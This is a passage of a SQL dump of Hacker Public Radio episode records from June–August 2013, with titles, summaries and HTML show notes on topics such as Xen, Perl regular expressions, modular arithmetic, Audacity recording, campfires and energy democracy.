(1287,'2013-07-09','HPR Community News For June 2013',5223,'HPR Community News For June 2013','<h2>New hosts</h2>\r\n<p>\r\nWelcome to our new host: \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=248\">Alek Grigorian</a>.\r\n</p>\r\n\r\n<table>\r\n<thead><tr>\r\n<th >id\r\n</th><th>title\r\n</th><th>host\r\n</th></tr>\r\n</thead>\r\n<tbody>\r\n\r\n<tr><td>1261</td>\r\n<td>Community News for May 2013</td>\r\n<td>HPR Admins</td>\r\n</tr>\r\n            \r\n<tr><td>1262</td>\r\n<td>LiTS 031: who</td>\r\n<td>Dann</td>\r\n</tr>\r\n            \r\n<tr><td>1263</td>\r\n<td>3G Tunnels (Sshuttle)</td>\r\n<td>NYbill</td>\r\n</tr>\r\n            \r\n<tr><td>1264</td>\r\n<td>Open Accessibility: Interview with Steve Lee</td>\r\n<td>Ken Fallon</td>\r\n</tr>\r\n            \r\n<tr><td>1265</td>\r\n<td>Mitigating SQL Injection And Other Message Protocol Attacks Through Compiler Signatures</td>\r\n<td>sigflup</td>\r\n</tr>\r\n            \r\n<tr><td>1266</td>\r\n<td>TGTM Newscast for 2013-06-06  by Dann Washko and DeepGeek</td>\r\n<td>Tgtm News Team</td>\r\n</tr>\r\n            \r\n<tr><td>1267</td>\r\n<td>LibreOffice 04 Writer Style Properties 1</td>\r\n<td>Ahuka</td>\r\n</tr>\r\n            \r\n<tr><td>1268</td>\r\n<td>Whats in my bag</td>\r\n<td>David Whitman</td>\r\n</tr>\r\n            \r\n<tr><td>1269</td>\r\n<td>Frank Bell Achieves Enlightenment Adventures with E17 Pt Two</td>\r\n<td>Frank Bell</td>\r\n</tr>\r\n            \r\n<tr><td>1270</td>\r\n<td>Fathers Day Special: Jon Kulp interviews his Dad</td>\r\n<td>Jon Kulp</td>\r\n</tr>\r\n            \r\n<tr><td>1271</td>\r\n<td>Out of style or retro chique.</td>\r\n<td>Knightwise</td>\r\n</tr>\r\n            \r\n<tr><td>1272</td>\r\n<td>Open Badges?</td>\r\n<td>klaatu</td>\r\n</tr>\r\n            \r\n<tr><td>1273</td>\r\n<td>LiTS 032: cat</td>\r\n<td>Dann</td>\r\n</tr>\r\n            \r\n<tr><td>1274</td>\r\n<td>Nathan Dumont on Open Source Hardware</td>\r\n<td>Ken Fallon</td>\r\n</tr>\r\n            \r\n<tr><td>1275</td>\r\n<td>LibreOffice 05 Writer Style Properties 2</td>\r\n<td>Ahuka</td>\r\n</tr>\r\n            \r\n<tr><td>1276</td>\r\n<td>Two Hacker Public Radio hosts meet face-to-face for the first time</td>\r\n<td>Jon Kulp</td>\r\n</tr>\r\n            \r\n<tr><td>1277</td>\r\n<td>Icecast 102</td>\r\n<td>klaatu</td>\r\n</tr>\r\n            \r\n<tr><td>1278</td>\r\n<td>OggCamp11: Interview with Marie Assen from Flatter</td>\r\n<td>Ken Fallon</td>\r\n</tr>\r\n            \r\n<tr><td>1279</td>\r\n<td>Russ Pavlicek on Xen Project</td>\r\n<td>Alek Grigorian</td>\r\n</tr>\r\n            \r\n<tr><td>1280</td>\r\n<td>Homemade Antennas for OTA Hi-Def TV</td>\r\n<td>Jon Kulp</td>\r\n</tr>\r\n            \r\n<tr><td>1281</td>\r\n<td>Samsung Ativ Premiere</td>\r\n<td>Knightwise</td>\r\n</tr>\r\n            \r\n           \r\n</tbody>\r\n</table>\r\n\r\n<h2>Website updates</h2>\r\n<p>\r\nThere have been many small changes to the back end to allow first in first out scheduling.\r\n</p>\r\n',159,47,1,'CC-BY-SA','Community News',0,2407,1);
INSERT INTO `eps` (`id`, `date`, `title`, `duration`, `summary`, `notes`, `hostid`, `series`, `explicit`, `license`, `tags`, `version`, `downloads`, `valid`) VALUES (1300,'2013-07-26','Maker Faire: Kansas City',1121,'MrGadgets phones in a show after visiting Maker Faire: Kansas','<p>\r\nEver mobile MrGadgets phones in a show after visiting Maker Faire: Kansas\r\n</p>\r\n<p>\r\nMaker Faire: Kansas City celebrates things people create themselves — from new technology and electronic gizmos to urban farming and “slow-made” foods to homemade clothes, quilts and sculptures. This family-friendly event demonstrates what and how people are inventing, making and creating. It brings together Makers, Crafters, Inventors, Hackers, Scientists and Artists for a faire full of fun and inspiration. Come see what others are making and be inspired to tap into your own creativity!\r\n</p>\r\n<img src=\"https://archreactor.org/sites/default/files/styles/large/public/photo%20%281%29_2.JPG\" alt=\"Photo of the event hall\"/>\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/index.php\">https://hackerpublicradio.org/index.php</a> \r\n</li>\r\n<li><a href=\"https://www.makerfairekc.com/\">https://www.makerfairekc.com/</a>\r\n</li>\r\n<li><a href=\"https://www.hammerspacehobby.com/\">https://www.hammerspacehobby.com/</a> \r\n</li>\r\n<li><a href=\"https://www.archreactor.org/\">https://www.archreactor.org/</a> \r\n</li>\r\n</ul>',155,0,1,'CC-BY-SA','\"Maker Faire\",Kansas',0,2452,1),
(1289,'2013-07-11','Short Xen Update From JWP',807,'A response to Russ Pavlicek about the Xen Project','<p>\r\nShow Title - Short Xen Update From JWP\r\n</p>\r\n<p>\r\nIn the Tilts 507 Rus came on as the Xen project manager.\r\nHad a lot to say about Xen but not about how xen is funded in the linux foundation by who.\r\n</p>\r\n<p>\r\nIn the course of preparing for the podcast I learned that is not easy to see who gives money to the linux foundation.  But Oracle is on the board directors along with all the major players in the IT space.\r\n</p>\r\n<p>\r\nI also learned weather it is type 1 or type 2 hypervisor it is not clear as it used to be.\r\nAt work I do not get very many requests for anything but ESX, HyperV or KVM in that order.  Once in a while a Xen or Oracle VM comes up.  This might change with the open stack a bit but I am not sure.\r\n</p>\r\n<p>\r\nA good start to look at it is here:\r\n<a href=\"https://www.ibm.com/developerworks/cloud/library/cl-hypervisorcompare/\">https://www.ibm.com/developerworks/cloud/library/cl-hypervisorcompare/</a>\r\n</p>\r\n<p>\r\nA better view of the real state of type 1 vs type 2 is here\r\n</p>\r\n<p>\r\n<a href=\"https://www.linkedin.com/groups/Hypervisors-Type-1-vs-Type-2445280.S.145843212\">https://www.linkedin.com/groups/Hypervisors-Type-1-vs-Type-2445280.S.145843212</a>\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1279\">https://hackerpublicradio.org/eps.php?id=1279</a>\r\n</li>\r\n<li><a href=\"https://tlltsarchive.org/archives/tllts_507-05-29-13.opus\">https://tlltsarchive.org/archives/tllts_507-05-29-13.opus</a>\r\n</li>\r\n</ul>',129,0,1,'CC-BY-SA','Xen,\"Linux Foundation\",hypervisor',0,2348,1),
(1291,'2013-07-15','Parsing an ISO8601 formatted duration field with Perl',4832,'A step-by-step explanation of writing a regular expression in Perl to parse an ISO8601 time duration','<p>\r\nKen recently asked Dave for help with a Perl regular expression for\r\nparsing ISO8601 time durations. As a consequence a Perl script was\r\nwritten, which is available at\r\n<a href=\"https://gitlab.com/davmo/hprmisc/blob/master/parse_8601_duration\">https://gitlab.com/davmo/hprmisc/blob/master/parse_8601_duration</a>.\r\n</p>\r\n<p>\r\nIn this show Ken and Dave discuss this script at some (considerable)\r\nlength. Keen listeners might want to view the script as they listen.\r\nDetailed show notes describing how to put together a Perl regular\r\nexpression are also available at <a href=\"https://hackerpublicradio.org/eps/hpr1291/\">https://hackerpublicradio.org/eps/hpr1291/</a>.\r\n</p>\r\n<p>\r\nUnfortunately some of the line numbers in the script referred to in the\r\nshow are now incorrect since Dave could not stop himself updating it.\r\n</p>\r\n<p>\r\nFor detailed show notes on how Dave created the script see:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr1291/\">https://hackerpublicradio.org/eps/hpr1291/</a></li>\r\n<li>For a html version of the script see:<a href=\"https://hackerpublicradio.org/eps/hpr1291/parse_8601_duration.html\">https://hackerpublicradio.org/eps/hpr1291/parse_8601_duration.html</a>\r\n</li>\r\n<li>Computer Books v Math: <a href=\"https://abstrusegoose.com/strips/i_never_would_have_passed_kindergarten.png\">https://abstrusegoose.com/strips/i_never_would_have_passed_kindergarten.png</a></li>\r\n<li>XKCD ISO8601: <a href=\"https://sslimgs.xkcd.com/comics/iso_8601.png\">https://sslimgs.xkcd.com/comics/iso_8601.png</a></li>\r\n<li>Sams Teach Yourself Perl in 24 Hours (3rd Edition): <a href=\"https://www.amazon.com/dp/0672327937\">https://www.amazon.com/dp/0672327937</a></li>\r\n</ul>\r\n',225,0,1,'CC-BY-SA','Perl,regular expression,ISO8601 time duration',0,2342,1),
(1290,'2013-07-12','MultiSystem: The Bootable Thumb Drive Creator',1612,'A bootable USB thumb drive creation tool called MultiSystem','<p>\r\nMultiSystem is a tool for creating bootable USB thumb drives that give\r\nyou the option launching multiple ISO images and other built in\r\ndiagnostic utilities. It can be an invaluable tool for system repair\r\ntechs.  Not to mention the many recovery and repair Live CDs that are\r\navailable to fix Linux, most bootable Windows repair and anti-virus\r\nutilities run from a Linux based ISO.  The tech can even create ISO\r\nimages of Windows installation media and replace a stack of DVDs with\r\none thumb drive.  Besides the installable package, there is also a\r\nMultiSystem LiveCD <a href=\"https://sourceforge.net/projects/multisystem/\">https://sourceforge.net/projects/multisystem/</a> that, if\r\nI understand correctly, contains some recomended ISOs to install on your\r\nthumb drive.\r\n</p>\r\n<p>\r\n<img src=\"https://c.fsdn.com/allura/p/multisystem/icon\" alt=\"MultiSystem Icon\">\r\n</p>\r\n<p>\r\nFor complete episode show notes please see <br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr1290.html\">https://hackerpublicradio.org/eps/hpr1290.html</a>\r\n</p>\r\n	',131,0,0,'CC-BY-SA','thumb drive',0,2675,1),
(1292,'2013-07-16','Doomsday Remainders',2082,'Reflections on remainders inspired by Doomsday Rule sign-off. Applications to programming and arithm','<pre>\r\nLast Episode on Conway\'s Doomsday Rule ends with teaser on MOD(), a\r\n\"remainder\" function defined for integer values (whole numbers):\r\n\r\n   MOD(K, m) = remainder when K is divided by \"modulus\" m.\r\n   \r\nExamples: \r\n  a. MOD(207, 7) = MOD(207 - 140, 7) = MOD(67, 7) = 4\r\n  b. MOD(1234567, 2) = 1 because the number is odd\r\n  \r\nMOD() function found in most spreadsheet programs, but it also shows up\r\nas an operator in some programming languages: (a % b), or (a mod b).\r\n\r\n\r\nOther functions referenced:\r\n   DIV(K, m)    = quotient in integer division\r\n      where K = m * quotient + remainder (not returned)\r\n            0 <= remainder < m\r\n\r\n   DIVMOD(K, m) = (quotient, remainder) when K is divided by m\r\n      where remainder = MOD(K, m)\r\n            quotient  = DIV(K, m)\r\n            K = m * quotient + remainder\r\n</pre>\r\n<h2>Full Show Notes</h2>\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr1292.txt\">https://hackerpublicradio.org/eps/hpr1292.txt</a>\r\n</p>\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Modular_arithmetic\">https://en.wikipedia.org/wiki/Modular_arithmetic</a>\r\n</li>\r\n<li><a href=\"https://www.khanacademy.org/math/applied-math/cryptography/modarithmetic/a/what-is-modular-arithmetic\">https://www.khanacademy.org/math/applied-math/cryptography/modarithmetic/a/what-is-modular-arithmetic</a>\r\n</li>\r\n<li><a href=\"https://betterexplained.com/articles/fun-with-modular-arithmetic/\">https://betterexplained.com/articles/fun-with-modular-arithmetic/</a>\r\n</li>\r\n<li><a href=\"https://mathworld.wolfram.com/Congruence.html\">https://mathworld.wolfram.com/Congruence.html</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/ALGOL_60\">https://en.wikipedia.org/wiki/ALGOL_60</a>\r\n</li>\r\n<li><a href=\"https://www.conservapedia.com/Pascal_%28programming_language%29\">https://www.conservapedia.com/Pascal_%28programming_language%29</a>\r\n</li>\r\n<li><a href=\"https://www.gnu.org/software/libc/manual/html_node/Integer-Division.html#Integer-Division\">https://www.gnu.org/software/libc/manual/html_node/Integer-Division.html#Integer-Division</a>\r\n</li>\r\n<li><a href=\"https://www.haskell.org/tutorial/numbers.html\">https://www.haskell.org/tutorial/numbers.html</a>\r\n</li>\r\n<li><a href=\"https://www.standardml.org/Basis/integer.html\">https://www.standardml.org/Basis/integer.html</a>\r\n</li>\r\n<li><a href=\"https://docs.python.org/2/library/functions.html#divmod\">https://docs.python.org/2/library/functions.html#divmod</a>\r\n</li>\r\n<li><a href=\"https://docs.python.org/3/library/functions.html#divmod\">https://docs.python.org/3/library/functions.html#divmod</a>\r\n</li>\r\n<li><a href=\"https://ruby-doc.org/core-2.0/Numeric.html\">https://ruby-doc.org/core-2.0/Numeric.html</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Doomsday_rule\">https://en.wikipedia.org/wiki/Doomsday_rule</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Modulus_operation\">https://en.wikipedia.org/wiki/Modulus_operation</a>\r\n</li>\r\n<li><a href=\"https://zetcode.com/lang/python/lists/\">https://zetcode.com/lang/python/lists/</a>\r\n</li>\r\n<li><a href=\"https://docs.python.org/2/tutorial/introduction.html\">https://docs.python.org/2/tutorial/introduction.html</a>\r\n</li>\r\n</ul>\r\n',229,0,0,'CC-BY-SA','arithmetic,remainder,mod',0,2320,1),
(1293,'2013-07-17','A Week of Freedom',1259,'What happened during a week spent using only FLOSS','<p>\r\nA quick dialog about my week of using only FLOSS\r\n</p>',241,0,0,'CC-BY-SA','\"free software\",Minix,RedHat,FreeBSD,OpenSUSE,Ubuntu,SDF,Trisquel',0,2398,1),
(1294,'2013-07-18','Causes of Schizophrenia, neurochemical theory',402,'What causes schizophrenia? The neurochemical aspects','<p>In this episode of Hacker Public Radio Sigflup talks about one of the theorized causes of schizophrenia and offers her own interpretations.</p>\r\n',115,71,1,'CC-BY-SA','\"mental health\",schizophrenia,neurochemistry,\"anti-psychotic drugs\"',0,2404,1),
(1296,'2013-07-22','Intro to camp fires',1263,'How to light and keep a small fire going','<p>\r\nI\'ve always felt a little awkward in social situations, and I\'m always looking for ways to get over that feeling. One way I do that is to try and make myself useful, and one useful thing that I know is how to light and keep a small fire going. No one else ever seems to want to do it, and it\'s fun if you do it right. Admittedly there isn\'t much to it, but that just makes it all that much easier to learn. It isn\'t quite as intuitive as you might think if you\'ve never done it, especially if it\'s a little damp out. Use tinder (paper, dried grass, cotton balls, etc...) to get the flame going, light your kindling (small twigs, pinecones, split sticks) over the tinder, and increase the size of your kindling until you have a good pile of coals that can sustain the burning of split logs. Keep your logs and sticks as parallel as you can, make sure air can flow freely through your burning pile of wood and don\'t let your coals spread too thin. If you\'re good, you should be able to get a fire going with just a single match and no accelerants (which are usually illegal anyway). If you\'re really good, you might even be able to do it with just a spark.\r\n</p>',128,0,1,'CC-BY-SA','How I got over my social awkwardness',0,2363,1),
(1297,'2013-07-23','Mobile Hackspace (what\'s in my bag)',1422,'NYbill talks about what\'s in his computer &amp; 2600 bags.','<p>\r\nIn todays episode NYbill talks about what is in his bag. Not just the every day\r\ncomputer bag, but also his 2600 bag of hacking goodies.\r\n</p>\r\n<p>\r\n<a href=\"https://www.amazon.com/Vantec-CB-ISATAU2-Supports-2-5-Inch-5-25-Inch/dp/B000J01I1G/ref=sr_1_1?ie=UTF8&qid=1373398735&sr=8-1&keywords=usb+sata\">https://www.amazon.com/Vantec-CB-ISATAU2-Supports-2-5-Inch-5-25-Inch/dp/B000J01I1G/ref=sr_1_1?ie=UTF8&amp;qid=1373398735&amp;sr=8-1&amp;keywords=usb+sata</a>\r\n</p>\r\n<p>\r\n<a href=\"https://www.sparkfun.com/products/11515\">https://www.sparkfun.com/products/11515</a>\r\n</p>\r\n<p>\r\n<a href=\"https://www.adafruit.com/\">https://www.adafruit.com/</a>\r\n</p>\r\n<p>\r\n<a href=\"https://www.alliedelec.com/\">https://www.alliedelec.com/</a>\r\n</p>\r\n<p>\r\nThe Postcard Club:\r\n</p>\r\n<p>\r\n<a href=\"https://media.gunmonkeynet.net/u/nybill/m/postcard-club-update/\">https://media.gunmonkeynet.net/u/nybill/m/postcard-club-update/</a>\r\n</p>\r\n<p>\r\nThe Blue Bag:\r\n</p>\r\n<p>\r\n<a href=\"https://media.gunmonkeynet.net/u/nybill/m/the-hacker-bag/\">https://media.gunmonkeynet.net/u/nybill/m/the-hacker-bag/</a>\r\n</p>\r\n<p>\r\nSurface mount component book:\r\n</p>\r\n<p>\r\n<a href=\"https://media.gunmonkeynet.net/u/nybill/m/surface-mount-components/\">https://media.gunmonkeynet.net/u/nybill/m/surface-mount-components/</a>\r\n</p>\r\n',235,23,0,'CC-BY-SA','toolkit,\"USB/SATA adaptor\"',0,2463,1),
(1298,'2013-07-24','Recording for HPR using Audacity',1161,'Some hints on using Audacity','<p>\r\nThe almost failsafe short of it. Use \"alsamixer\" to boost all recording\r\nvolumes on main pulse and all cards (e.g. \"alsamixer -c 0\"). Start Audacity,\r\nedit -&gt; preferences, stay in the \"device\" submenu, don\'t bother with the\r\n\"recording\" submenu. For each of the \"Hosts\" (alsa/jack), try all \"Device\"s\r\nunder the \"Recording\" tab, start speaking, notice volume (or not and try\r\nthe next one)\r\n</p>\r\n<p>\r\nsee <a href=\"https://www.hackerpublicradio.org/contribute.php\">https://www.hackerpublicradio.org/contribute.php</a> for more text on recording\r\nand suggested topics\r\n</p>\r\n<p>\r\nSee <a href=\"https://www.hackerpublicradio.org/README.txt\">https://www.hackerpublicradio.org/README.txt</a> and for more (textual)\r\ninformation about the submission process and\r\n<a href=\"https://hackerpublicradio.org/sample_shownotes.txt\">https://hackerpublicradio.org/sample_shownotes.txt</a> for sample shownotes.\r\n</p>',214,0,1,'CC-BY-SA','audio,audacity,\"recording an episode\",alsamixer',0,2439,1),
(1299,'2013-07-25','What\'s in my Bag',543,'What\'s in my Toolkit','<p>I go through the usual stuff in my bag. One thing I forgot to say\r\nis that my laptop is a Toshiba Satellite with i3 processor, 6gb of\r\nRAM, 750gb hard drive running Crunchbang Linux. Here are links to two\r\nof the items mentioned in the episode. </p>\r\n\r\n<ul>\r\n<li>Zoom H1 audio recorder: <a href=\"https://www.zoom.co.jp/products/h1/\">https://www.zoom.co.jp/products/h1/</a></li>\r\n<li>4-in–1 Mini Stanley screwdriver: <a href=\"https://www.tools-plus.com/stanley-66-344.html?utm_medium=feed&utm_source=froogle&utm_term=STA66-344&gclid=CPOc9o6wo7gCFUho7Aod0AMAgQ\">https://www.tools-plus.com/stanley-66-344.html?utm_medium=feed&amp;utm_source=froogle&amp;utm_term=STA66-344&amp;gclid=CPOc9o6wo7gCFUho7Aod0AMAgQ</a></li>\r\n</ul>\r\n',238,23,0,'CC-BY-SA','laptop,\"Zoom H1\",screwdriver',0,2419,1),
(1301,'2013-07-29','Conversation with Nybill and Jon Kulp',3258,'HPR hosts Nybill and Jon Kulp meet face-to-face','<p>While I am on vacation near New York City, fellow HPR host <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\">NYbill</a> drives down from \r\nupstate and we meet for the first time face-to-face. Of course we \r\nhave to record a conversation for posterity. Topics include \r\nactivities at LUG meetings, Cory Doctorow, Neal Stephenson, \r\nblather speech recognition (a live demonstration!), guitars, and more. Outtakes after the outro.</p>\r\n<h2>Links</h2>\r\n<ul>\r\n<li>Photos of conversation in progress: <a href=\"https://media.gunmonkeynet.net/u/nybill/collection/jk-nybill-meet-up-do-an-hpr/\">https://media.gunmonkeynet.net/u/nybill/collection/jk-nybill-meet-up-do-an-hpr/</a>  </li>\r\n<li>Adafruit Industries (source for Tux stickers): <a href=\"https://www.adafruit.com/\">https://www.adafruit.com/</a>  </li>\r\n<li>Cory Doctorow\'s <em>Homeland</em>: <a href=\"https://craphound.com/homeland/about/\">https://craphound.com/homeland/about/</a>  </li>\r\n<li>Neal Stephenson\'s <em>Quicksilver</em>: <a href=\"https://www.nealstephenson.com/quicksilver/\">https://www.nealstephenson.com/quicksilver/</a>  </li>\r\n<li>Blather: <a href=\"https://jonathankulp.org/archives/698\">https://jonathankulp.org/archives/698</a>  </li>\r\n</ul>',238,0,0,'CC-BY-SA','\"LUG meetings\",\"Cory Doctorow\",\"Neal Stephenson\",\"speech recognition\",Blather',0,2425,1),
(1303,'2013-07-31','A Music Pairing Under Unlikely Circumstances',1640,'Dave interviews Tim, his son, and Tim\'s friend John, who is visiting from the USA','<p>\r\nToday Dave interviews Tim, his son, and Tim\'s friend John, who is\r\nvisiting from the USA.\r\n</p>\r\n<p>\r\nTim and John met on the Internet in 2006 as collaborating composers of\r\nelectronic music. They have become good friends over the years; Tim has\r\nvisited John in the States, in 2011 where they met for the first time in real\r\nlife, for John\'s wedding. This also marks the first time that John and his\r\nwife Caitlin have travelled overseas, which they did to visit Tim in the UK.\r\n</p>\r\n<p>\r\nIn the podcast we discuss how they met, how their different world\r\nviews affected each other, and how their relationship quickly\r\ntranscended music.\r\n</p>\r\n<p>\r\nHere\'s a picture of Tim and John visiting Edinburgh Castle in July\r\n2013:\r\n</p>\r\n<p>\r\n<img src=\"https://www.hackerpublicradio.org/eps/hpr1303/Tim_and_John.jpg\" alt=\"Tim and John visiting Edinburgh Castle in July\"/>\r\n</p>\r\n<p>\r\nContrary to what was said in the podcast, Tim prepared a mix of the\r\nvarious compositions he and John have made. Links to some of the full\r\ntracks are available below.\r\n</p>\r\n<p>\r\nHere are Tim\'s notes for the music mix:\r\n</p>\r\n<p>\r\n<a href=\"https://www.hackerpublicradio.org/eps/hpr1303/Music_Notes.html\">https://www.hackerpublicradio.org/eps/hpr1303/Music_Notes.html</a>\r\n</p>\r\n<p>\r\nLinks:\r\n</p>\r\n<p>\r\nSome of Tim and John\'s work - <a href=\"https://soundcloud.com/heartshapedboxband/\">https://soundcloud.com/heartshapedboxband/</a><br />\r\nTheir latest collaboration - <a href=\"https://soundcloud.com/heartshapedboxband/accord\">https://soundcloud.com/heartshapedboxband/accord</a>\r\n</p>',225,0,1,'CC-BY-SA','music,composition,collaboration,InternetDJ,FL Studio',0,2324,1),
(1302,'2013-07-30','How I Got to Linux',788,'Accipiter\'s journey to Linux','<p>\r\nIn this show, I cover my early years learning code in the late 60s. I move on to my history with home computers, and finding out about Linux around 2007 or so. I comment on Ubuntu and Mint. I mention dual booting and my one episode of triple booting.\r\n</p>\r\n<p>\r\nListeners, this is my first attempt at a show. It\'s not that hard, and I would like to hear from others as to how they got to Linux.\r\n</p>',249,0,1,'CC-BY-SA','Linux, Ubuntu, Mint, dual boot',0,2503,1),
(1304,'2013-08-01','Jon Kulp and His Son Talk Hacking',2461,'Jon Kulp and his son talk Hacking','<p>I chat with my son about the concept of hacking, Linux, Blacksmithing,\r\nand about some of the other stuff he does that smacks of hacking.</p>\r\n\r\n<ul>\r\n<li>The Belt Store <a href=\"https://www.beltsforanything.com/site1.php\">https://www.beltsforanything.com/site1.php</a></li>\r\n<li><em>Invent Your Own Computer Games With Python</em>, 2nd edition,\r\nby Al Sweigart: <a href=\"https://inventwithpython.com/\">https://inventwithpython.com/</a></li>\r\n<li>Son’s Python timer: <a href=\"https://paste.jonkulp.net/view/06035adb\">https://paste.jonkulp.net/view/06035adb</a></li>\r\n<li>Sony Wonder Technology Lab in NYC: <a href=\"https://www.sonywondertechlab.com/\">https://www.sonywondertechlab.com/</a></li>\r\n<li>Son’s reading recommendation: <em>Temeraire</em> series, by Naomi Novik <a href=\"https://www.temeraire.org/\">https://www.temeraire.org/</a></li>\r\n<li>Photos of Son’s Blacksmithing and Hacking: <a href=\"https://pics.jonkulp.net/index.php?/category/13\">https://pics.jonkulp.net/index.php?/category/13</a></li>\r\n<li>Blather: <a href=\"https://jonathankulp.org/archives/698\">https://jonathankulp.org/archives/698</a></li>\r\n<li><strong>Auphonic</strong>: excellent one-click post-production\r\ncompression and normalization on this podcast audio file. Check\r\nit out at <a href=\"https://auphonic.com/\">https://auphonic.com/</a></li>\r\n</ul>\r\n',238,0,0,'CC-BY-SA','hacking',0,2406,1),
(1306,'2013-08-05','Freedom Followup',1304,'A follow-up to \'A Week of Freedom\'','<p>\r\nAfter a deluge of e-mail asking me to follow up on the Week of Freedom podcast, I finally responded.  Contact me at hobbsc@ma.sdf.org if you\'d like to talk Libre Software!\r\n</p>\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=1293\">https://hackerpublicradio.org/eps.php?id=1293</a></p>',241,0,1,'CC-BY-SA','\"Libre Software\"',0,2200,1),
(1307,'2013-08-06','What\'s in my Bag',964,'In this show I tell you all about my bag','<p>\r\nIn this show, I tell you all about my bag. I start with the back compartment, and work my way to the front, so from magnetic card to keys on a tether. I carry a 1 Terabyte drive with me, which is a full backup of my computer. This is a weak version of offsite backup because sometimes it is not offsite. I have no office or other place where I can store it, though. It\'s better than nothing. One recommendation I do make is to carry a jeweler\'s loupe. They are not that expensive and can make it possible to read tiny model numbers on parts or just tiny print.\r\n</p>\r\n<p>\r\nListeners, this is my second attempt at a show. It\'s not that hard, and I would like to hear from others about what\'s in their bag.\r\n</p>',249,23,0,'CC-BY-SA','bag,\"useful stuff\",\"weak off-site backup\"',0,2050,1),
(1308,'2013-08-07','Helping a New Computer User',1152,'Skills for new computer users','<p>Here is a list of the skills I teach new computer users:</p><pre>\nA) Hardware:\n1) Monitor and Tower\n---Turning on the computer\n2) Keyboard and Mouse\n---Learning when to use the right mouse button, \nleft button, and scroll wheel\n---Seeing non-alphabetic keys\n3) Printers and other Peripherals\n---Understating the usefulness of printers, scanners, \nflash drives, etc.\n\nB) Operating System:\n1) Icons on the Desktop\n---Moving, adding, and removing icons\n2) Opening Applications\n---Using the Start Menu to find applications\n3) Managing and Resizing Windows\n---Using the window controls to maximize, minimize, \nrestore up, and close windows\n\nC) File Management:\n1) Creating a New Folder and Subfolders\n2) Selecting Specific Files\n---Single-click method\n---Ctrl method\n---Shift method\n---Drawing-box-around-files method\n---Ctrl + A method\n3) Moving Files\n---Drag &amp; Drop\n---Copy &amp; Paste\n\nD) Text Entry:\n1) Using a simple notepad\n---Entering and Saving Text\n---Using the File Menu\n2) Using a Word Processor\n---Formatting text\n---Using toolbars\n</pre>',250,0,0,'CC-BY-SA','\"computer skills\",hardware,\"operating system\",\"file management\",\"text entry\"',0,2070,1),
(1309,'2013-08-08','Assisted Human Reproduction',5138,'IVF, ICSI','<p><strong>This show contains content for Mature Audiences - listener discretion is advised.</strong></p>\n <p>In today\'s show Ken and his wife talk about their experiences with Assisted Human Reproduction.</p>\n <p><img alt=\"Injecting Sperm into an Egg\" width=\"70%\" src=\"https://upload.wikimedia.org/wikipedia/commons/7/79/Icsi.JPG\" /></p>\n <h2>Links</h2>\n <ul>\n  <li><a href=\"https://en.wikipedia.org/wiki/In_vitro_fertilization\">https://en.wikipedia.org/wiki/In_vitro_fertilization</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Intracytoplasmic_sperm_injection\">https://en.wikipedia.org/wiki/Intracytoplasmic_sperm_injection</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Surrogacy\">https://en.wikipedia.org/wiki/Surrogacy</a></li>\n  <li><a href=\"https://www.moedersvoormoeders.nl/\">https://www.moedersvoormoeders.nl/</a></li>\n </ul>',30,0,1,'CC-BY-SA','\"Assisted Human Reproduction\",\"in vitro fertilisation\",\"intracytoplasmic sperm injection\"',0,2035,1),
(1310,'2013-08-09','Energy Democracy defined',2001,'A special panel discussion episode of <em>This Week in Energy</em> (TWiE)','<p>This program is a special panel discussion episode of, This Week in Energy (TWiE), where co-hosts Kirsten &amp; Bob define the concept of Energy Democracy and hacking the traditional central-station monopoly electric utility business model.</p>\n <p>There\'s an energy transition (or \"energiewende\" in German) underway in the energy space where the 19th and 20th century central-station monopoly utility business model is breaking down (or getting hacked) and ownership of electric generation capacity is transferring to individuals, co-ops, and so forth.</p>\n <p>This is due in large part to an entropy effect because \"the ubiquitous nature of renewable energy argues for a decentralist energy approach.\" But, also, public policy can either help the energy transition move faster, or it can slow it down.</p>\n <p>Thus an emerging global battle is brewing and it\'s very similar to the disruptions that have been taking place in the telecom sector due to advancements in IT and the advent of the Internet over the past couple of decades.</p>\n <p>Hosts: Kirsten Hasberg (Denmark &amp; Germany) and Bob Tregilus (U.S.A.) &lt;<a href=\"https://www.thisweekinenergy.tv/\">https://www.thisweekinenergy.tv/</a>&gt;.</p>\n <p>Guest: Roger Willhite (South Korea), solar blogger at Second Silicon &lt;<a href=\"https://secondsilicon.com/\">https://secondsilicon.com/</a>&gt;.</p>\n <p>Other resources about this global movement can be found at:</p>\n <ul>\n  <li>The Institute for Local Self-Reliance &lt;<a href=\"https://www.ilsr.org/\">https://www.ilsr.org/</a>&gt;.</li>\n  <li>Renewables International &lt;<a href=\"https://www.renewablesinternational.net/\">https://www.renewablesinternational.net/</a>&gt;.</li>\n  <li>Go 100% Renewable Energy &lt;<a href=\"https://www.go100percent.org/\">https://www.go100percent.org/</a>&gt;.</li>\n  <li>World Future Council &lt;<a href=\"https://www.worldfuturecouncil.org/\">https://www.worldfuturecouncil.org/</a>&gt;.</li>\n  <li>Paul Gipe\'s Wind-Works &lt;<a href=\"https://www.wind-works.org/\">https://www.wind-works.org/</a>&gt;.</li>\n  <li>German Energy Transition &lt;<a href=\"https://energytransition.de/\">https://energytransition.de/</a>&gt;.</li>\n  <li>North American experts on these topics can be found at &lt;<a href=\"https://www.allianceforrenewableenergy.org/2008/10/are-steering-committee-advisory-board-and-staff.html\">https://www.allianceforrenewableenergy.org/2008/10/are-steering-committee-advisory-board-and-staff.html</a>&gt;.</li>\n </ul>',251,0,0,'CC-BY-SA','energy, democracy, feed-in tariff, solar, wind, energy justice, public utilities, electric grid, co-op, germany, energiewende',0,2007,1),
